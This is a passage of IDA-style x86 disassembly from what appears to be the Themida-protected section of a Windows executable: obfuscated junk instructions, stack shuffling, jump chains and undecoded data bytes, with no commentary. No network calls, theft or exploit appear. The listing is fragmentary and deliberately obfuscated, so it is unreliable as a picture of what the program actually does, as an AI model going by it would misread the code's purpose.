		db 5Ch
		dd 0B8240489h, 7C952A0Fh, 0FFBB94E9h, 241C89FFh, 68515B54h
		dd 7907011Fh, 0FFB779E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5549ED:				; CODE XREF: Themida_:00549EB1j
		dec	ebx
		jno	loc_5497F4
		shl	ebx, 1
		add	ebx, 69818673h
		mov	bh, dl
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_5534AF
; ---------------------------------------------------------------------------

loc_554A07:				; CODE XREF: Themida_:00553FADj
		push	edi
		mov	edi, 2C5A1E70h
		neg	edi
		shr	edi, 8
		dec	edi
		add	edi, 0FF2C5A21h
		sub	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 1
		sub	esi, ecx
		pop	ecx
		add	esi, 86FBB140h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 1BB54045h
		mov	ebp, 81118B26h
		sub	ebp, ecx
		pop	ecx
		or	ebp, 58E43B8Fh
		or	ebp, 2B2B20B2h
		sub	ebp, 20C43CF7h
		sub	ebp, 4E8DECC7h
		xor	edx, ebp
		pop	ebp
		mov	esi, edx
		pop	edx
		and	eax, esi
		jmp	loc_54F361
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 6A47778Fh, 8108EFC1h, 1F2F01CFh, 14EF8148h, 89142E35h
		dd 872AE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554A86:				; CODE XREF: Themida_:005558F7j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 80h
		dd 850F3DCAh, 0FFFF5195h, 0FE0EB551h, 0A4ED80C5h
		db 0B7h, 4Dh, 5Bh
; ---------------------------------------------------------------------------

loc_554A9F:				; CODE XREF: Themida_:00550E06j
		mov	ecx, [esp]
		push	ebx
		jmp	loc_549B2A
; ---------------------------------------------------------------------------

loc_554AA8:				; CODE XREF: Themida_:0055400Ej
		inc	ecx
		jge	loc_54F28F
		add	ecx, 0EC3F36h
		jmp	loc_54C111
; ---------------------------------------------------------------------------
		dw 2C8Bh
		db 24h,	50h
; ---------------------------------------------------------------------------

loc_554ABE:				; CODE XREF: Themida_:0054B62Ej
		mov	esi, 790E6BA1h
		mov	ebp, 3D2313BEh
		sub	ebp, esi
		pop	esi
		sub	ecx, ebp
		pop	ebp
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54FCA0
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF44FBE9h, 0C8B66FFh, 59545124h, 7195E956h,	575AFFFFh
		dd 0FF4AB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554AF5:				; CODE XREF: Themida_:005498CAj
		mov	edx, esp
		jmp	loc_548F9A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 53E78957h, 6E0D55BBh, 2FE3817Fh, 0D15C286Ch
		dd 4EC81EBh, 89000000h,	0DFBE2434h, 0D10F0E15h,	6EEC1E6h
		dd 2576CE81h, 0DEF70D22h, 0C681D6F7h, 0FD19A615h, 0FF6CDEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554B39:				; CODE XREF: Themida_:loc_554559j
		shl	ecx, 3
		and	ecx, 2AE7133Ch
		push	eax
		mov	eax, 412D0FFDh
		xor	ecx, eax
		pop	eax
		xor	ecx, ebp
		pop	ebp
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5512F3
; ---------------------------------------------------------------------------
		dd 98B551h, 240C8BE8h, 0FFF029E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554B69:				; CODE XREF: Themida_:0054DB1Fj
		push	0
		jmp	loc_5534DB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 4EC8104h, 89000000h, 28E92434h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554B87:				; CODE XREF: Themida_:00548A46j
		push	ebx
		jmp	loc_54AD02
; ---------------------------------------------------------------------------

loc_554B8D:				; CODE XREF: Themida_:00553BBCj
		not	cx
		add	cx, 1AE2h
		jmp	loc_555065
; ---------------------------------------------------------------------------

loc_554B9A:				; CODE XREF: Themida_:0054A563j
		pop	eax
		jmp	loc_5550F0
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 20E92414h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554BAF:				; CODE XREF: Themida_:0055220Ej
		add	eax, edx
		jmp	loc_54B6B5
; ---------------------------------------------------------------------------

loc_554BB6:				; CODE XREF: Themida_:005538D2j
		push	esi
		mov	esi, 3B3F3D1Dh
		add	esi, 0E3B40E6h
		push	eax
		mov	eax, 0D93530Eh
		and	esi, eax
		mov	eax, [esp]
		add	esp, 4
		dec	esi
		or	esi, 6F920947h
		jmp	loc_54DE8D
; ---------------------------------------------------------------------------

loc_554BDF:				; CODE XREF: Themida_:0055490Cj
		add	dh, ch
		add	dh, 90h
		pop	ecx
		xor	al, dh
		pop	edx
		jmp	loc_54F8D2
; ---------------------------------------------------------------------------

loc_554BED:				; CODE XREF: Themida_:0054E08Aj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_551623
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF9FAFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554C09:				; CODE XREF: Themida_:00554D10j
		mov	ebx, 73600F3h
		jmp	loc_54FE21
; ---------------------------------------------------------------------------

loc_554C13:				; CODE XREF: Themida_:00555839j
		pop	edi
		add	edi, 4
		push	5DCDh
		mov	[esp], edx
		mov	edx, 4
		push	ecx
		jmp	loc_54A7FE
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0E1h
		dd 0E9154A3Fh, 0FFFFCEE1h
; ---------------------------------------------------------------------------

loc_554C38:				; CODE XREF: Themida_:0054E15Cj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, dl
		mov	[edi+eax*4+1], cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_553616
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF8C36E9h, 4C481FFh, 29000000h, 4EC81D8h, 89000000h
		dd 78BD242Ch, 143F052h,	242C8BE8h, 38376852h, 47E90000h
		dd 8BFFFF77h, 0C481241Ch, 4, 699C68h, 240C8900h, 4CE95266h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554CAB:				; CODE XREF: Themida_:0054A72Dj
		mov	ecx, 13264941h
		mov	dword ptr [ebx], 13264941h
		sub	[ebx], ecx
		jmp	loc_5506AD
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0CBh
		dd 8135C247h, 4F3CA2C2h, 50D2F73Ah, 530374B8h, 4B8A2551h
		dd 1E0D1A48h, 48023326h, 0BE4EE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554CE2:				; CODE XREF: Themida_:00555F6Ej
		mov	dh, al
		pop	eax
		mov	[edi+eax*4], dh
		mov	edx, [esp]
		jmp	loc_54F541
; ---------------------------------------------------------------------------
		dd 663268h, 54CFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554CFA:				; CODE XREF: Themida_:00554808j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 53B9297Fh
		push	295Bh
		mov	[esp], ebx
		jmp	loc_554C09
; ---------------------------------------------------------------------------

loc_554D15:				; CODE XREF: Themida_:0054BF74j
		pop	ebp
		xor	esi, 27756106h
		jmp	loc_5523C9
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0EBh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D27:				; CODE XREF: Themida_:0054F639j
		mov	edi, 4BB2237Dh
		mov	edx, 0B44DDC87h
		sub	edx, 25D47258h
		jmp	loc_54A1F0
; ---------------------------------------------------------------------------

loc_554D3C:				; CODE XREF: Themida_:0055454Dj
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_554D41:				; CODE XREF: Themida_:0054CEBFj
		add	eax, ebp
		add	eax, 143C60F5h
		jmp	loc_555103
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 51000000h, 0C2243481h, 58357D7Bh, 0DAFE9h
		db 0
; ---------------------------------------------------------------------------

loc_554D61:				; CODE XREF: Themida_:0054A8CAj
					; Themida_:00552924j
		neg	edi
		shl	edi, 6
		sub	edi, 12E343B8h
		jmp	loc_553EFD
; ---------------------------------------------------------------------------
		db 5Dh,	0FFh, 34h
		dd 0C4835924h, 55D0F704h, 0D59219BDh, 5DE8011Ch, 0FF3BA0E9h
		dd 148966FFh, 0B2525124h, 7EAC08Ch, 425F890Fh, 0F280FFFFh
		dd 5AD188B9h, 0E905E9C0h, 919h
; ---------------------------------------------------------------------------

loc_554DA8:				; CODE XREF: Themida_:0054B990j
		mov	ecx, 0FFFFFFFFh
		add	esi, ecx
		pop	ecx
		shl	esi, 6
		jmp	loc_54EA7B
; ---------------------------------------------------------------------------

loc_554DB8:				; CODE XREF: Themida_:0054F2E7j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_549226
; ---------------------------------------------------------------------------
		dw 0C30h
		dd 5D15E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554DCE:				; CODE XREF: Themida_:00551401j
		add	esi, 0FE93D1D4h
		jmp	loc_554E69
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 42474FFh, 83241C8Bh,	48F04C4h, 24248B24h, 2424D366h
		dd 3B33E99Ch, 0C89FFFFh, 16824h, 9590000h, 30E91C4Fh, 89FFFFF6h
		dd 0C4C1E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554E0E:				; CODE XREF: Themida_:00554684j
		push	5836h
		mov	[esp], eax
		jmp	loc_55573F
; ---------------------------------------------------------------------------

loc_554E1B:				; CODE XREF: Themida_:00555C91j
		mov	eax, 8F55A020h
		jmp	loc_54B7E6
; ---------------------------------------------------------------------------

loc_554E25:				; CODE XREF: Themida_:00551921j
		add	esi, edi
		jmp	loc_54F91C
; ---------------------------------------------------------------------------

loc_554E2C:				; CODE XREF: Themida_:0055050Cj
		pop	edi
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_54DB69
; ---------------------------------------------------------------------------
		dd 6824148Bh, 0BAFh, 54241489h,	0FFA5EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554E4D:				; CODE XREF: Themida_:0054F9AEj
		mov	bx, [esp]
		push	edi
		jmp	loc_55387E
; ---------------------------------------------------------------------------

loc_554E57:				; CODE XREF: Themida_:005494F9j
		sub	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54D2AF
; ---------------------------------------------------------------------------

loc_554E69:				; CODE XREF: Themida_:00554DD4j
		add	edi, esi
		pop	esi
		sub	edi, 0B38A5087h
		add	ebx, 494C6A05h
		add	ebx, edi
		sub	ebx, 494C6A05h
		pop	edi
		push	eax
		mov	eax, 2
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5520EA
; ---------------------------------------------------------------------------

loc_554EA0:				; CODE XREF: Themida_:0054C951j
		push	esi
		pop	ecx
		jmp	loc_54AE14
; ---------------------------------------------------------------------------

loc_554EA7:				; CODE XREF: Themida_:00553E2Fj
		mov	edx, esp
		add	edx, 4
		jmp	loc_54F6A0
; ---------------------------------------------------------------------------

loc_554EB4:				; CODE XREF: Themida_:00549792j
		add	eax, 4
		push	313Ch
		mov	[esp], ebp
		push	ebx
		mov	ebx, 75575276h
		jmp	loc_554589
; ---------------------------------------------------------------------------
		dd 9DBEE81h, 0EE811335h, 0B80C02h, 4C6815Fh, 87000000h
		dd 0F6E92434h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554EE7:				; CODE XREF: Themida_:00553420j
		mov	eax, [esp]
		push	714h
		mov	[esp], esi
		push	56BCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54B8F5
; ---------------------------------------------------------------------------

loc_554F03:				; CODE XREF: Themida_:0054CA12j
					; Themida_:00551467j
		inc	ebx
		shl	ebx, 6
		jmp	loc_54E37D
; ---------------------------------------------------------------------------
		dd 4C581h, 0ED830000h, 242C8704h, 2434895Ch, 0FF8213E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554F21:				; CODE XREF: Themida_:0054D078j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_553A29
; ---------------------------------------------------------------------------

loc_554F2C:				; CODE XREF: Themida_:00550627j
		add	esi, 0CCFF0B5Fh
		add	eax, esi
		pop	esi
		pop	edx
		push	small word ptr [eax]
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 48E9h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F43:				; CODE XREF: Themida_:00548E2Aj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	713Ah
		mov	[esp], edi
		push	4A4Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54AC64
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF39B4E9h, 34895CFFh, 348B5424h,	4C48124h
		dd 81000000h, 4C6h, 75BB5300h, 0C164E15Ch, 0B8E906E3h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F97:				; CODE XREF: Themida_:00550075j
		jmp	loc_555429
; ---------------------------------------------------------------------------

loc_554F9C:				; CODE XREF: Themida_:005516D9j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54FB8B
; ---------------------------------------------------------------------------

loc_554FA5:				; CODE XREF: Themida_:005499E8j
		mov	[esp], edi
		xor	dword ptr [esp], 11374424h
		pop	eax
		jmp	loc_54D2CD
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E9525854h, 0FFFF75C0h, 31241C33h, 1C33241Ch, 4D6CE924h
		dd 0D7F7FFFFh, 5207EFC1h, 2405BAh, 0D3F2813Dh, 0C10F457Dh
		dd 0E2C102E2h, 8AEA8104h, 1247322h, 0F7815AD7h,	0D7FE5067h
		dd 0E95FFB29h, 0FFFFD613h
; ---------------------------------------------------------------------------

loc_554FFC:				; CODE XREF: Themida_:0054FE47j
		push	680Ch
		mov	[esp], ebx
		push	7D59h
		jmp	loc_552064
; ---------------------------------------------------------------------------

loc_55500E:				; CODE XREF: Themida_:0054A658j
		push	edi
		mov	edi, 0FFED2BCCh
		sub	ebp, edi
		pop	edi
		sub	esi, 484B69D2h
		add	esi, ebp
		add	esi, 484B69D2h
		pop	ebp
		push	edx
		jmp	loc_551916
; ---------------------------------------------------------------------------
		dd 16E9DBB2h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555033:				; CODE XREF: Themida_:0054C473j
		mov	[esp], eax
		xchg	ebx, [esp]
		jmp	loc_54D786
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 535A0723h, 0FFFAA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555049:				; CODE XREF: Themida_:00552918j
					; Themida_:005557E4j
		add	esp, 4
		jmp	loc_549F10
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4C08300h, 5C240487h, 0FFD21BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555065:				; CODE XREF: Themida_:00554B95j
		jnz	loc_555A15
		sub	cx, 803Ch
		sub	cx, bx
		mov	ebp, esi
		xor	ah, 22h
		mov	cl, ah
		pop	eax
		push	edx
		jmp	loc_54E8FE
; ---------------------------------------------------------------------------

loc_555081:				; CODE XREF: Themida_:0054C5F6j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		mov	ebp, 3E1D7CEFh
		jmp	loc_549FB8
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C4815Ah,	52000000h, 0DE9E289h, 5CFFFF58h
		dd 0E924048Fh, 0FFFF7B16h
; ---------------------------------------------------------------------------

loc_5550B4:				; CODE XREF: Themida_:00550717j
		add	esi, edi
		pop	edi
		sub	esi, 4
		jmp	loc_54C194
; ---------------------------------------------------------------------------

loc_5550BF:				; CODE XREF: Themida_:00555DE3j
		xor	ebx, 0AF0DE8Ch
		mov	ecx, ebx
		pop	ebx
		dec	ecx
		jmp	loc_552273
; ---------------------------------------------------------------------------
		dw 86BAh
		dd 4A5B8201h, 713D8E0Fh, 0E942FFFFh, 0FFFFDAB6h
; ---------------------------------------------------------------------------

loc_5550E0:				; CODE XREF: Themida_:0054F039j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp

loc_5550E7:				; CODE XREF: Themida_:0054EFE8j
					; Themida_:0054F79Bj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_554774
; ---------------------------------------------------------------------------

loc_5550F0:				; CODE XREF: Themida_:00554B9Bj
		push	edx
		push	ebp
		push	ebx
		mov	ebx, 1ADF5A4Bh
		add	ebx, 4DA22DE7h
		jmp	loc_5528FB
; ---------------------------------------------------------------------------

loc_555103:				; CODE XREF: Themida_:00554D48j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1154374Bh
		sub	esi, 7E2923CCh
		push	ecx
		jmp	loc_551AE6
; ---------------------------------------------------------------------------
		dw 489h
		dd 5E08924h, 4,	8704E883h, 895C2404h, 2BA2414h,	0E9000000h
		dd 0FFFF3DB3h
; ---------------------------------------------------------------------------

loc_555144:				; CODE XREF: Themida_:005529F0j
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_54EF1D
; ---------------------------------------------------------------------------

loc_555154:				; CODE XREF: Themida_:0054D56Dj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, ebx
		pop	ebx
		jmp	loc_55564B
; ---------------------------------------------------------------------------

loc_555163:				; CODE XREF: Themida_:0054B00Aj
		add	ebp, 7E1B09C9h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	esi
		jmp	loc_550DC1
; ---------------------------------------------------------------------------

loc_555178:				; CODE XREF: Themida_:0054B23Cj
		pop	eax
		jmp	loc_54C6F6
; ---------------------------------------------------------------------------

loc_55517E:				; CODE XREF: Themida_:00553D82j
		mov	ebp, 29D2197Dh
		add	ebp, 0BC934F4h
		and	esi, ebp
		pop	ebp
		jmp	loc_555C42
; ---------------------------------------------------------------------------

loc_555191:				; CODE XREF: Themida_:00554178j
		mov	ebp, [esp]
		add	esp, 4
		shl	edi, 4
		shl	edi, 6
		add	edi, 3F387D61h
		xor	edi, 743C2D23h
		sub	edi, 1
		xor	edi, 62CBF749h
		add	ecx, edi
		pop	edi
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 75BA2B93h
		jmp	loc_552140
; ---------------------------------------------------------------------------
		db 0ADh, 53h, 0BBh
		dd 281705F2h, 0C6000905h, 2DD8010Ch, 0CC60009h,	3F6C685Bh
		dd 34890000h, 5E8CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5551F2:				; CODE XREF: Themida_:0054F0B3j
		xor	ebp, edi
		pop	edi
		xor	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5555C1
; ---------------------------------------------------------------------------

loc_5551FF:				; CODE XREF: Themida_:00552B6Aj
		mov	dh, al
		pop	eax
		add	dh, 0C4h
		neg	dh
		neg	dh
		jmp	loc_54CFC1
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 186C58E8h, 0FF3D99E9h, 4BEFFh, 0F2290000h, 0DBDCE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555226:				; CODE XREF: Themida_:0054CA73j
		sub	bl, al
		jmp	loc_54E7B7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 7B8040B8h, 77ABE96Eh, 0DF68FFFFh, 8900000Eh,	0E956240Ch
		dd 0FFFFA19Bh, 0B6399735h, 8D0F4843h, 0FFFF52B2h, 5269E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55525A:				; CODE XREF: Themida_:0054F83Fj
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	eax, 1CED1800h
		jmp	loc_54C80E
; ---------------------------------------------------------------------------

loc_55527E:				; CODE XREF: Themida_:005554CEj
		mov	esp, [esp]
		push	ecx
		mov	ecx, 74C3182Eh
		shl	ecx, 8
		xor	ecx, 35FB0E49h
		push	edx
		mov	edx, 41BE1BDAh
		jmp	loc_55158A
; ---------------------------------------------------------------------------
		db 52h
		dd 917777BAh, 0F058E923h, 8B66FFFFh, 0A682404h,	8900003Bh
		dd 8B542404h, 0C4812404h, 4, 0FF615EE9h, 242C8BFFh, 0E904C483h
		dd 0FFFFD44Ch, 4D5BDD29h, 6A5BF581h, 1505E817h,	52B7E2Ah
		dd 9085516h, 162DE829h,	2D090855h, 2B7E2A15h, 51242C8Bh
		dd 0C1815954h, 4, 4C181h, 0C870000h, 0F7685C24h, 8900005Ch
		dd 5DBE2434h, 2D0AC699h, 3BC83385h, 4CE9F029h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55531B:				; CODE XREF: Themida_:0054D5E3j
		pop	ebp
		sub	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		jmp	loc_54F84C
; ---------------------------------------------------------------------------

loc_55532E:				; CODE XREF: Themida_:0054F210j
		sub	bl, 9Ch
		add	bl, 80h
		mov	ax, [esp]
		add	esp, 2
		sub	bl, al
		add	bl, 2Eh
		movzx	eax, al
		push	small 7FBEh
		mov	[esp], ax
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 24048B66h, 2BA568h, 240C8900h, 0BD55E189h, 4, 3FA1E981h
		dd 1DE9521Dh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55536F:				; CODE XREF: Themida_:005538A0j
		add	esp, 4
		mov	[ebx], al
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54D9BD
; ---------------------------------------------------------------------------

loc_555391:				; CODE XREF: Themida_:005523A0j
		add	al, bh
		pop	ebx
		add	al, dl
		sub	al, 0ACh
		jmp	loc_5539F9
; ---------------------------------------------------------------------------

loc_55539D:				; CODE XREF: Themida_:00555B41j
		shr	ecx, 1
		jmp	loc_551999
; ---------------------------------------------------------------------------

loc_5553A4:				; CODE XREF: Themida_:005518C5j
		mov	edi, 3A744917h
		mov	ebp, edi
		pop	edi
		jmp	loc_54D9A3
; ---------------------------------------------------------------------------

loc_5553B1:				; CODE XREF: Themida_:0054F8DCj
		dec	dl
		push	cx
		mov	ch, 0DDh
		jmp	loc_54E69D
; ---------------------------------------------------------------------------

loc_5553BC:				; CODE XREF: Themida_:00553702j
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54C1AE
; ---------------------------------------------------------------------------

loc_5553DF:				; CODE XREF: Themida_:005539E5j
		neg	dh
		xor	dh, 0F1h
		sub	bl, dh
		jmp	loc_54C0B6
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0EC81D830h, 4, 50240C89h, 2E7E9h, 48F5A00h, 0C4815C24h
		dd 4, 9C240CFFh, 0FF3518E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555411:				; CODE XREF: Themida_:0054C6C4j
					; Themida_:00552017j
		pop	esi
		or	ebp, 7CAC0FE5h
		jg	loc_54F765
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54CE26
; ---------------------------------------------------------------------------

loc_555429:				; CODE XREF: Themida_:loc_554F97j
		push	ebx
		mov	ebx, 0A0028091h
		add	ebp, ebx
		pop	ebx
		jmp	loc_54EF44
; ---------------------------------------------------------------------------

loc_555437:				; CODE XREF: Themida_:0054AF2Aj
		mov	[esp], edx
		mov	edx, 34212883h
		neg	edx
		jle	loc_549303
		jmp	loc_54D5C8
; ---------------------------------------------------------------------------
		dd 51242C8Bh, 7E34E189h, 0EBC1E3D1h, 4EBC105h, 5644EB81h
		dd 0D901001Bh, 4B8505Bh, 1000000h, 0C8758C1h, 24248B24h
		dd 7E685056h, 0FF173D7Ch, 83582434h, 0E8C104C4h, 6E0C107h
		dd 8CED840Fh, 0F48FFFFh, 0FFE4288Fh, 0FA5A35FFh, 0C689108Ah
		dd 8ACD8B58h, 1C77FFC0h, 1058669Dh, 0E99C2404h,	0FFFF3479h
; ---------------------------------------------------------------------------

loc_5554B0:				; CODE XREF: Themida_:0055063Ej
		xchg	ebp, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5554BE:				; CODE XREF: Themida_:0054ADBAj
		push	4214h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55527E
; ---------------------------------------------------------------------------
		db 53h
		dd 83555B54h, 0C8904ECh, 5728B924h, 0CD8934BFh,	7E48E959h
		dd 0F781FFFFh, 6A80242Bh, 3434F781h, 0F7816DC8h, 63DADAC7h
		dd 2F29AB2Dh, 56F80141h, 2F29ABBEh, 71CE941h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55550E:				; CODE XREF: Themida_:00551C6Ej
		push	edi
		mov	edi, esp
		jmp	loc_54BD86
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 124248Bh,	39E959CEh
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555527:				; CODE XREF: Themida_:0054DFE5j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, 32B31B7h
		jmp	loc_54B9CA
; ---------------------------------------------------------------------------

loc_555541:				; CODE XREF: Themida_:0054D583j
		push	1016h
		mov	[esp], eax
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_55554E:				; CODE XREF: Themida_:0054BEFCj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B555
; ---------------------------------------------------------------------------

loc_55556A:				; CODE XREF: Themida_:005489A1j
					; Themida_:00553149j
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5511C0
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 70h
		dd 0F55564Ah, 0FFBC3F84h, 7D91E9FFh, 0E829FFFFh, 2404875Dh
		dd 0E924248Bh, 0FFFFF9D8h, 0B151D828h, 0D16EE96Bh, 15DFFFFh
		dd 69E981D1h, 0E945F553h, 0FFFF896Ch
; ---------------------------------------------------------------------------

loc_5555AC:				; CODE XREF: Themida_:00552A26j
		pop	ax
		sub	dl, 9Eh
		add	ch, 0E8h
		sub	ch, dl
		sub	ch, 0E8h
		mov	edx, [esp]
		jmp	loc_554906
; ---------------------------------------------------------------------------

loc_5555C1:				; CODE XREF: Themida_:00550D43j
					; Themida_:005551FAj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F9B3
; ---------------------------------------------------------------------------
		db 68h
		dd 7FBh, 0FF80D3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5555D9:				; CODE XREF: Themida_:0054E1A2j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54C5DC
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 592434FFh, 0BD69E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5555F6:				; CODE XREF: Themida_:0055324Aj
		add	edx, 0EC5FBD89h
		add	edx, 5E0A2Ah
		neg	edx
		ja	loc_54F34A
		add	edx, 1
		and	edx, 59832A61h
		jle	loc_548A5F
		dec	edx
		jle	loc_550578
		sub	edx, 1981203Eh
		mov	edi, edx
		pop	edx
		and	eax, edi
		jmp	loc_54F6D9
; ---------------------------------------------------------------------------

loc_555633:				; CODE XREF: Themida_:loc_554142j
		or	edx, 7F0C0425h
		jg	loc_54C6B8
		inc	edx
		jnz	loc_550F6D
		push	2A40h

loc_55564B:				; CODE XREF: Themida_:0055515Ej
		or	eax, 30047FD9h
		shr	eax, 2
		add	eax, 0F3E02809h
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		push	4AB6h
		mov	[esp], edx
		push	0A9Dh
		mov	[esp], ebx
		jmp	loc_54AF5C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 89F6059h, 0FF9590E9h, 8E3C1FFh, 0E903EBC1h, 0FFFFBA94h
		dd 0B850E289h, 6E3E2B85h, 2D582435h, 0F7D8F707h, 643A2DD8h
		dd 32E91547h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5556A3:				; CODE XREF: Themida_:00550A01j
		jo	loc_55581D
		xor	ebx, 44514F65h
		jnb	loc_551B63
		jmp	loc_551D83
; ---------------------------------------------------------------------------
		dw 0E589h
